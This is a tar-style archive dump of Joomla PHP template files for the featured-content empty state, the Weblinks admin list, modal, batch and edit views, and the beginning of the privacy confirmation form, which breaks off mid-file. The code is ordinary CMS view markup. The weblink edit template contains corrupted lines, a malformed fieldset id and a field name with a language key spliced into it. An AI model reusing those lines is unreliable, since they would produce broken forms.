featured/emptystate.php000064400000001546151727242140011266 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Layout\LayoutHelper;

$displayData = [
    'textPrefix' => 'COM_CONTENT',
    'formURL'    => 'index.php?option=com_content&view=featured',
    'helpURL'    => 'https://docs.joomla.org/Special:MyLanguage/Adding_a_new_article',
];

$user = Factory::getApplication()->getIdentity();

if ($user->authorise('core.create', 'com_content') || count($user->getAuthorisedCategories('com_content', 'core.create')) > 0) {
    $displayData['createURL'] = 'index.php?option=com_content&task=article.add';
}

echo LayoutHelper::render('joomla.content.emptystate', $displayData);
weblinks/default.php000064400000031500151727253110010522 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  Weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

/** @var \Joomla\Component\Weblinks\Administrator\View\Weblinks\HtmlView $this */

HTMLHelper::_('behavior.multiselect');
$user      = Factory::getApplication()->getIdentity();
$userId    = $user->get('id');
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$saveOrder = $listOrder == 'a.ordering';
$assoc     = Associations::isEnabled();
if ($saveOrder && !empty($this->items)) {
    $saveOrderingUrl = 'index.php?option=com_weblinks&task=weblinks.saveOrderAjax&tmpl=component';
    HTMLHelper::_('draggablelist.draggable');
}
?>
<form action="<?php echo Route::_('index.php?option=com_weblinks&view=weblinks'); ?>" method="post" name="adminForm" id="adminForm">
 <div class="row">
      <div class="col-md-12">
            <div id="j-main-container" class="j-main-container">
                <?php
                // Search tools bar
                echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]);
                ?>
                <?php if (empty($this->items)) :
                    ?>
                  <div class="alert alert-info">
                        <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                        <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
                  </div>
                    <?php
                else :
                    ?>
                 <table class="table" id="weblinkList">
                     <caption class="visually-hidden">
                            <?php echo Text::_('COM_WEBLINKS_WEBLINKS_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                      </caption>
                     <thead>
                        <tr>
                           <td class="w-1 text-center">
                                <?php echo HTMLHelper::_('grid.checkall'); ?>
                         </td>
                          <th scope="col" class="w-1 text-center d-none d-md-table-cell">
                                <?php echo HTMLHelper::_('searchtools.sort', '', 'a.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-sort'); ?>
                          </th>
                          <th scope="col" style="min-width:85px" class="w-1 text-center">
                                <?php echo HTMLHelper::_('searchtools.sort', 'JSTATUS', 'a.state', $listDirn, $listOrder); ?>
                          </th>
                          <th scope="col">
                                <?php echo HTMLHelper::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder); ?>
                           </th>
                          <th scope="col" class="w-10 d-none d-md-table-cell">
                                <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'access_level', $listDirn, $listOrder); ?>
                           </th>
                          <th scope="col" class="w-10 d-none d-md-table-cell">
                                <?php echo HTMLHelper::_('searchtools.sort', 'JGLOBAL_HITS', 'a.hits', $listDirn, $listOrder); ?>
                         </th>
                            <?php if ($assoc) :
                                ?>
                               <th scope="col" class="w-10">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_WEBLINKS_HEADING_ASSOCIATION', 'association', $listDirn, $listOrder); ?>
                               </th>
                                <?php
                            endif; ?>
                            <?php if (Multilanguage::isEnabled()) :
                                ?>
                               <th scope="col" class="w-10 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'language_title', $listDirn, $listOrder); ?>
                               </th>
                                <?php
                            endif; ?>
                          <th scope="col" class="w-5 d-none d-md-table-cell">
                                <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
                            </th>
                      </tr>
                      </thead>
                        <tbody <?php if ($saveOrder) :
                            ?> class="js-draggable" data-url="<?php echo $saveOrderingUrl; ?>" data-direction="<?php echo strtolower($listDirn); ?>" data-nested="true"<?php
                               endif; ?>>
                        <?php foreach ($this->items as $i => $item) :
                            ?>
                            <?php $item->cat_link = Route::_('index.php?option=com_categories&extension=com_weblinks&task=edit&type=other&cid[]=' . $item->catid); ?>
                            <?php $canCreate      = $user->authorise('core.create', 'com_weblinks.category.' . $item->catid); ?>
                            <?php $canEdit        = $user->authorise('core.edit', 'com_weblinks.category.' . $item->catid); ?>
                            <?php $canCheckin     = $user->authorise('core.manage', 'com_checkin') || $item->checked_out == $user->id || !$item->checked_out; ?>
                            <?php $canEditOwn     = $user->authorise('core.edit.own', 'com_weblinks.category.' . $item->catid) && $item->created_by == $user->id; ?>
                            <?php $canChange      = $user->authorise('core.edit.state', 'com_weblinks.category.' . $item->catid) && $canCheckin; ?>
                            <tr class="row<?php echo $i % 2; ?>" data-draggable-group="<?php echo $item->catid; ?>">
                               <td class="text-center">
                                    <?php echo HTMLHelper::_('grid.id', $i, $item->id, false, 'cid', 'cb', $item->title); ?>
                              </td>
                              <td class="text-center d-none d-md-table-cell">
                                    <?php
                                    $iconClass = '';
                                    if (!$canChange) {
                                        $iconClass = ' inactive';
                                    } elseif (!$saveOrder) {
                                        $iconClass = ' inactive" title="' . Text::_('JORDERINGDISABLED');
                                    }
                                    ?>
                                    <span class="sortable-handler<?php echo $iconClass; ?>">
                                       <span class="icon-ellipsis-v" aria-hidden="true"></span>
                                   </span>
                                    <?php if ($canChange && $saveOrder) :
                                        ?>
                                       <input type="text" name="order[]" size="5"
                                               value="<?php echo $item->ordering; ?>" class="width-20 text-area-order hidden">
                                        <?php
                                    endif; ?>
                              </td>
                              <td class="text-center">
                                    <?php echo HTMLHelper::_('jgrid.published', $item->state, $i, 'weblinks.', $canChange, 'cb', $item->publish_up, $item->publish_down); ?>
                              </td>
                              <th scope="row" class="has-context">
                                   <div>
                                        <?php if ($item->checked_out) :
                                            ?>
                                            <?php echo HTMLHelper::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'weblinks.', $canCheckin); ?>
                                            <?php
                                        endif; ?>
                                        <?php if ($canEdit || $canEditOwn) :
                                            ?>
                                            <a href="<?php echo Route::_('index.php?option=com_weblinks&task=weblink.edit&id=' . (int) $item->id); ?>" title="<?php echo Text::_('JACTION_EDIT'); ?> <?php echo $this->escape($item->title); ?>">
                                                <?php echo $this->escape($item->title); ?></a>
                                            <?php
                                        else :
                                            ?>
                                            <?php echo $this->escape($item->title); ?>
                                            <?php
                                        endif; ?>
                                        <span class="small">
                                            <?php echo Text::sprintf('JGLOBAL_LIST_ALIAS', $this->escape($item->alias)); ?>
                                       </span>
                                        <div class="small">
                                            <?php echo Text::_('JCATEGORY') . ': ' . $this->escape($item->category_title); ?>
                                      </div>
                                 </div>
                             </th>
                              <td class="small d-none d-md-table-cell">
                                    <?php echo $this->escape($item->access_level); ?>
                                </td>
                              <td class="d-none d-md-table-cell">
                                    <?php echo $item->hits; ?>
                             </td>
                                <?php if ($assoc) :
                                    ?>
                                   <td class="hidden-phone hidden-tablet">
                                        <?php if ($item->association) :
                                            ?>
                                            <?php echo HTMLHelper::_('weblinksadministrator.association', $item->id); ?>
                                            <?php
                                        endif; ?>
                                    </td>
                                    <?php
                                endif; ?>
                                <?php if (Multilanguage::isEnabled()) :
                                    ?>
                                   <td class="small d-none d-md-table-cell">
                                        <?php echo LayoutHelper::render('joomla.content.language', $item); ?>
                                    </td>
                                    <?php
                                endif; ?>
                              <td class="d-none d-md-table-cell">
                                    <?php echo (int) $item->id; ?>
                             </td>
                          </tr>
                            <?php
                        endforeach; ?>
                     </tbody>
                   </table>

                    <?php // Load the pagination. ?>
                    <?php echo $this->pagination->getListFooter(); ?>

                    <?php // Load the batch processing form. ?>
                    <?php if (
                    $user->authorise('core.create', 'com_weblinks')
                        && $user->authorise('core.edit', 'com_weblinks')
                        && $user->authorise('core.edit.state', 'com_weblinks')
) :
    ?>
                        <?php echo HTMLHelper::_('bootstrap.renderModal', 'collapseModal', [
                                'title' => Text::_('COM_WEBLINKS_BATCH_OPTIONS'),
                                'footer' => $this->loadTemplate('batch_footer')
                            ], $this->loadTemplate('batch_body')); ?>
                    <?php
                    endif; ?>
                    <?php
                endif; ?>

             <input type="hidden" name="task" value="">
             <input type="hidden" name="boxchecked" value="0">
                <?php echo HTMLHelper::_('form.token'); ?>
           </div>
     </div>
 </div>
</form>
weblinks/default_batch_footer.php000064400000001336151727253110013245 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
use Joomla\CMS\Language\Text;

?>
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">
    <?php echo Text::_('JCANCEL'); ?>
</button>
<button type="submit" id='batch-submit-button-id' class="btn btn-success" onclick="Joomla.submitbutton('weblink.batch');return false;">
    <?php echo Text::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>
weblinks/emptystate.php000064400000001766151727253110011310 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  Weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
use Joomla\CMS\Factory;
use Joomla\CMS\Layout\LayoutHelper;

$displayData = [
    'textPrefix' => 'COM_WEBLINKS',
    'formURL'    => 'index.php?option=com_weblinks',
    'helpURL'    => 'https://docs.joomla.org/Special:MyLanguage/Help4.x:Weblinks',
    'icon'       => 'icon-globe weblink',
];
$user = Factory::getApplication()->getIdentity();
if ($user->authorise('core.create', 'com_weblinks') || count($user->getAuthorisedCategories('com_weblinks', 'core.create')) > 0) {
    $displayData['createURL'] = 'index.php?option=com_weblinks&task=weblink.add';
}

echo LayoutHelper::render('joomla.content.emptystate', $displayData);
weblinks/default_batch_body.php000064400000003126151727253110012703 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Layout\LayoutHelper;

$published = $this->state->get('filter.published');
?>

<div class="p-3">
  <div class="row">
        <?php if (Multilanguage::isEnabled()) :
            ?>
           <div class="form-group col-md-6">
              <div class="controls">
                    <?php echo LayoutHelper::render('joomla.html.batch.language', []); ?>
               </div>
         </div>
            <?php
        endif; ?>
     <div class="form-group col-md-6">
          <div class="controls">
                <?php echo LayoutHelper::render('joomla.html.batch.access', []); ?>
         </div>
     </div>
 </div>
 <div class="row">
        <?php if ($published >= 0) :
            ?>
          <div class="form-group col-md-6">
              <div class="controls">
                    <?php echo LayoutHelper::render('joomla.html.batch.item', ['extension' => 'com_weblinks']); ?>
              </div>
         </div>
            <?php
        endif; ?>
     <div class="form-group col-md-6">
          <div class="controls">
                <?php echo LayoutHelper::render('joomla.html.batch.tag', []); ?>
            </div>
     </div>
 </div>
</div>
weblinks/modal.php000064400000017377151727253110010212 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;
use Joomla\Component\Weblinks\Site\Helper\RouteHelper;

$app = Factory::getApplication();
if ($app->isClient('site')) {
    Session::checkToken('get') or die(Text::_('JINVALID_TOKEN'));
}

HTMLHelper::_('behavior.multiselect');
$this->document->getWebAssetManager()
    ->registerAndUseScript('com_weblinks.admin-weblinks-modal', 'media/com_weblinks/js/admin-weblinks-modal.js', [], ['defer' => true], ['core']);
$function  = $app->getInput()->getCmd('function', 'jSelectWeblink');
$editor    = $app->getInput()->getCmd('editor', '');
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$onclick   = $this->escape($function);
$multilang = Multilanguage::isEnabled();
if (!empty($editor)) {
// This view is used also in com_menus. Load the xtd script only if the editor is set!
    $this->document->addScriptOptions('xtd-weblinks', array('editor' => $editor));
    $onclick = "jSelectWeblink";
}

$iconStates = array(
    -2 => 'icon-trash',
    0 => 'icon-unpublish',
    1 => 'icon-publish',
    2 => 'icon-archive',
);

?>
<div class="container-popup">

    <form action="<?php echo Route::_('index.php?option=com_weblinks&view=weblinks&layout=modal&tmpl=component&function=' . $function . '&' . Session::getFormToken() . '=1&editor=' . $editor); ?>" method="post" name="adminForm" id="adminForm" class="form-inline">

    <?php echo LayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>

        <?php if (empty($this->items)) :
            ?>
          <div class="alert alert-no-items">
                <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
           </div>
            <?php
        else :
            ?>
         <table class="table table-sm">
             <caption class="visually-hidden">
                <?php echo Text::_('COM_WEBLINKS_WEBLINKS_TABLE_CAPTION'); ?>,
                    <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                    <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
              </caption>
             <thead>
                    <tr>
                       <th scope="col" class="w-1 text-center">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JSTATUS', 'a.state', $listDirn, $listOrder); ?>
                     </th>
                      <th scope="col" class="title">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder); ?>
                     </th>
                      <th scope="col" class="w-10 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'a.access', $listDirn, $listOrder); ?>
                       </th>
                        <?php if ($multilang) :
                            ?>
                           <th scope="col" class="w-15">
                                <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'language', $listDirn, $listOrder); ?>
                            </th>
                            <?php
                        endif; ?>
                      <th scope="col" class="w-10 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JDATE', 'a.created', $listDirn, $listOrder); ?>
                     </th>
                      <th scope="col" class="w-1 d-none d-md-table-cell">
                        <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
                        </th>
                  </tr>
              </thead>
               <tbody>
                <?php foreach ($this->items as $i => $item) :
                    ?>
                    <?php $lang = ''; ?>
                    <?php if ($item->language && $multilang) :
                        ?>
                        <?php $tag = strlen($item->language); ?>
                        <?php if ($tag == 5) :
                            ?>
                            <?php $lang = substr($item->language, 0, 2); ?>
                            <?php
                        elseif ($tag == 6) :
                            ?>
                            <?php $lang = substr($item->language, 0, 3); ?>
                            <?php
                        endif; ?>
                        <?php
                    endif; ?>
                    <tr class="row<?php echo $i % 2; ?>">
                     <td class="center">
                            <span class="<?php echo $iconStates[$this->escape($item->state)]; ?>"></span>
                      </td>
                      <th scope="row">
                            <?php $attribs = 'data-function="' . $this->escape($onclick) . '"'
                                . ' data-id="' . $item->id . '"'
                                . ' data-title="' . $this->escape(addslashes($item->title)) . '"'
                                . ' data-cat-id="' . $this->escape($item->catid) . '"'
                                . ' data-uri="' . $this->escape(RouteHelper::getWeblinkRoute($item->id, $item->catid, $item->language)) . '"'
                                . ' data-language="' . $this->escape($lang) . '"';
                            ?>
                            <a class="select-link" href="javascript:void(0)" <?php echo $attribs; ?>>
                                <?php echo $this->escape($item->title); ?>
                         </a>
                           <div class="small">
                                <?php echo Text::_('JCATEGORY') . ': ' . $this->escape($item->category_title); ?>
                          </div>
                     </th>
                      <td class="small d-none d-md-table-cell">
                            <?php echo $this->escape($item->access_level); ?>
                        </td>
                        <?php if ($multilang) :
                            ?>
                           <td class="small">
                                <?php echo LayoutHelper::render('joomla.content.language', $item); ?>
                           </td>
                            <?php
                        endif; ?>
                      <td class="small d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('date', $item->created, Text::_('DATE_FORMAT_LC4')); ?>
                     </td>
                      <td class="small d-none d-md-table-cell">
                            <?php echo (int) $item->id; ?>
                       </td>
                  </tr>
                    <?php
                endforeach; ?>
             </tbody>
           </table>
            <?php
        endif; ?>

        <?php // load the pagination. ?>
        <?php echo $this->pagination->getListFooter(); ?>

      <input type="hidden" name="task" value="" />
       <input type="hidden" name="boxchecked" value="0" />
        <input type="hidden" name="forcedLanguage" value="<?php echo $app->getInput()->get('forcedLanguage', '', 'CMD'); ?>" />
        <?php echo HTMLHelper::_('form.token'); ?>

 </form>
</div>
weblink/edit_params.php000064400000002205151727253110011203 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  Weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
use Joomla\CMS\Language\Text;

$fieldSets = $this->form->getFieldsets('params'); ?>
<?php foreach ($fieldSets as $name => $fieldSet) :
    ?>
    <div class="tab-pane" id="params-<?php echo $name; ?>">
    <?php if (isset($fieldSet->description) && trim($fieldSet->description)) :
        ?>
        <?php echo '<p class="alert alert-info">' . $this->escape(Text::_($fieldSet->description)) . '</p>'; ?>
        <?php
    endif; ?>
    <?php foreach ($this->form->getFieldset($name) as $field) :
        ?>
        <div class="control-group">
            <div class="control-label"><?php echo $field->label; ?></div>
            <div class="controls"><?php echo $field->input; ?></div>
     </div>
        <?php
    endforeach; ?>
    </div>
    <?php
endforeach; ?>
weblink/edit.php000064400000012300151727253110007635 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  Weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

HTMLHelper::_('behavior.formvalidator');
$app = Factory::getApplication();
$input = $app->getInput();
$assoc = Associations::isEnabled();
// Fieldsets to not automatically render by /layouts/joomla/edit/params.php
$this->ignore_fieldsets = array('details', 'images', 'item_associations', 'jmetadata');
$this->useCoreUI = true;
// In case of modal
$isModal = $input->get('layout') == 'modal' ? true : false;
$layout  = $isModal ? 'modal' : 'edit';
$tmpl    = $isModal || $input->get('tmpl', '', 'cmd') === 'component' ? '&tmpl=component' : '';
?>

<form action="<?php echo Route::_('index.php?option=com_weblinks&layout=' . $layout . $tmpl . '&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="weblink-form" class="form-validate">

    <?php echo LayoutHelper::render('joomla.edit.title_alias', $this); ?>

    <div class="main-card">
        <?php echo HTMLHelper::_('uitab.startTabSet', 'myTab', array('active' => 'details')); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'details', empty($this->item->id) ? Text::_('COM_WEBLINKS_NEW_WEBLINK', true) : Text::_('COM_WEBLINKS_EDIT_WEBLINK', true)); ?>
        <div class="row">
          <div class="col-md-9">
             <div class="form-vertical">
                    <div>
                      <fieldset class="adminform">
                            <?php echo $this->form->renderField('url'); ?>
                            <?php echo $this->form->renderField('description'); ?>
                     </fieldset>
                    </div>
             </div>
         </div>
         <div class="col-md-3">
                <?php echo LayoutHelper::render('joomla.edit.global', $this); ?>
            </div>
     </div>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'images', Text::_('JGLOBAL_FIELDSET_IMAGE_OPTIONS', true)); ?>
      <div class="row">
          <div class="col-12">
               <fieldset id="fieldset-image; ?>" class="options-form">
                    <legend><?php echo Text::_('JGLOBAL_FIELDSET_IMAGE_OPTIONS'); ?></legend>
                  <div>
                        <?php echo $this->form->renderField('imaJGLOBAL_FIELDSET_IMAGE_OPTIONSges'); ?>
                        <?php foreach ($this->form->getGroup('images') as $field) :
                            ?>
                            <?php echo $field->renderField(); ?>
                            <?php
                        endforeach; ?>
                 </div>
             </fieldset>
            </div>
     </div>

        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'publishing', Text::_('JGLOBAL_FIELDSET_PUBLISHING', true)); ?>
            <div class="row">
              <div class="col-12 col-lg-6">
                  <fieldset id="fieldset-publishingdata" class="options-form">
                        <legend><?php echo Text::_('JGLOBAL_FIELDSET_PUBLISHING'); ?></legend>
                        <?php echo LayoutHelper::render('joomla.edit.publishingdata', $this); ?>
                   </fieldset>
                </div>
             <div class="col-12 col-lg-6">
                  <fieldset id="fieldset-metadata" class="options-form">
                        <legend><?php echo Text::_('JGLOBAL_FIELDSET_METADATA_OPTIONS'); ?></legend>
                        <?php echo LayoutHelper::render('joomla.edit.metadata', $this); ?>
                 </fieldset>
                </div>
         </div>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php echo LayoutHelper::render('joomla.edit.params', $this); ?>

        <?php if (!$isModal && $assoc) :
            ?>
            <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'associations', Text::_('JGLOBAL_FIELDSET_ASSOCIATIONS')); ?>
             <fieldset id="fieldset-associations" class="options-form">
                    <legend><?php echo Text::_('JGLOBAL_FIELDSET_ASSOCIATIONS'); ?></legend>
                    <?php echo LayoutHelper::render('joomla.edit.associations', $this); ?>
             </fieldset>
            <?php echo HTMLHelper::_('uitab.endTab'); ?>
            <?php
        elseif ($isModal && $assoc) :
            ?>
            <div class="hidden"><?php echo $this->loadTemplate('associations'); ?></div>
            <?php
        endif; ?>

        <?php echo HTMLHelper::_('uitab.endTabSet'); ?>

 </div>

    <input type="hidden" name="task" value="" />
    <input type="hidden" name="forcedLanguage" value="<?php echo $input->get('forcedLanguage', '', 'cmd'); ?>" />
    <?php echo HTMLHelper::_('form.token'); ?>
</form>
weblink/edit_metadata.php000064400000000722151727253110011502 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  Weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
use Joomla\CMS\Layout\LayoutHelper;

echo LayoutHelper::render('joomla.edit.metadata', $this);
weblink/modal_metadata.php000064400000000726151727253110011655 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
use Joomla\CMS\Layout\LayoutHelper;

echo LayoutHelper::render('joomla.edit.metadata', $this);
weblink/modal_associations.php000064400000000732151727253110012571 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
use Joomla\CMS\Layout\LayoutHelper;

echo LayoutHelper::render('joomla.edit.associations', $this);
weblink/edit_associations.php000064400000000732151727253110012422 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
use Joomla\CMS\Layout\LayoutHelper;

echo LayoutHelper::render('joomla.edit.associations', $this);
weblink/modal.php000064400000003173151727253110010014 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;

/** @var \Joomla\Component\Weblinks\Administrator\View\Weblink\HtmlView $this */

HTMLHelper::_('bootstrap.tooltip', '.hasTooltip', array('placement' => 'bottom'));
// @deprecated 4.0 the function parameter, the inline js and the buttons are not needed since 3.7.0.
$function  = Factory::getApplication()->getInput()->getCmd('function', 'jEditWeblink_' . (int) $this->item->id);
// Function to update input title when changed
$this->getDocument()->addScriptDeclaration('
	function jEditWeblinkModal() {
		if (window.parent && document.formvalidator.isValid(document.getElementById("weblink-form"))) {
			return window.parent.' . $this->escape($function) . '(document.getElementById("jform_title").value);
		}
	}
');
?>
<button id="applyBtn" type="button" class="hidden" onclick="Joomla.submitbutton('weblink.apply'); jEditWeblinkModal();"></button>
<button id="saveBtn" type="button" class="hidden" onclick="Joomla.submitbutton('weblink.save'); jEditWeblinkModal();"></button>
<button id="closeBtn" type="button" class="hidden" onclick="Joomla.submitbutton('weblink.cancel');"></button>

<div class="container-popup">
    <?php $this->setLayout('edit'); ?>
    <?php echo $this->loadTemplate(); ?>
</div>
weblink/modal_params.php000064400000002211151727253110011347 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
use Joomla\CMS\Language\Text;

$fieldSets = $this->form->getFieldsets('params'); ?>
<?php foreach ($fieldSets as $name => $fieldSet) :
    ?>
    <div class="tab-pane" id="params-<?php echo $name; ?>">
    <?php if (isset($fieldSet->description) && trim($fieldSet->description)) :
        ?>
        <?php echo '<p class="alert alert-info">' . $this->escape(Text::_($fieldSet->description)) . '</p>'; ?>
        <?php
    endif; ?>
    <?php foreach ($this->form->getFieldset($name) as $field) :
        ?>
        <div class="control-group">
            <div class="control-label"><?php echo $field->label; ?></div>
            <div class="controls"><?php echo $field->input; ?></div>
     </div>
        <?php
    endforeach; ?>
    </div>
    <?php
endforeach; ?>
confirm/default.php000064400000003344151727326150010353 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var \Joomla\Component\Privacy\Site\View\Confirm\HtmlView $this */

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

?>
<div class="request-confirm<?php echo $this->pageclass_sfx; ?>">
    <?php if ($this->params->get('show_page_heading')) : ?>
        <div class="page-header">
            <h1>
                <?php echo $this->escape($this->params->get('page_heading')); ?>
            </h1>
        </div>
    <?php endif; ?>
    <form action="<?php echo Route::_('index.php?option=com_privacy&task=request.confirm'); ?>" method="post" class="form-validate form-horizontal well">
        <?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
            <fieldset>
                <?php if (!empty($fieldset->label)) : ?>
                    <legend><?php echo Text::_($fieldset->label); ?></legend>
                <?php endif; ?>
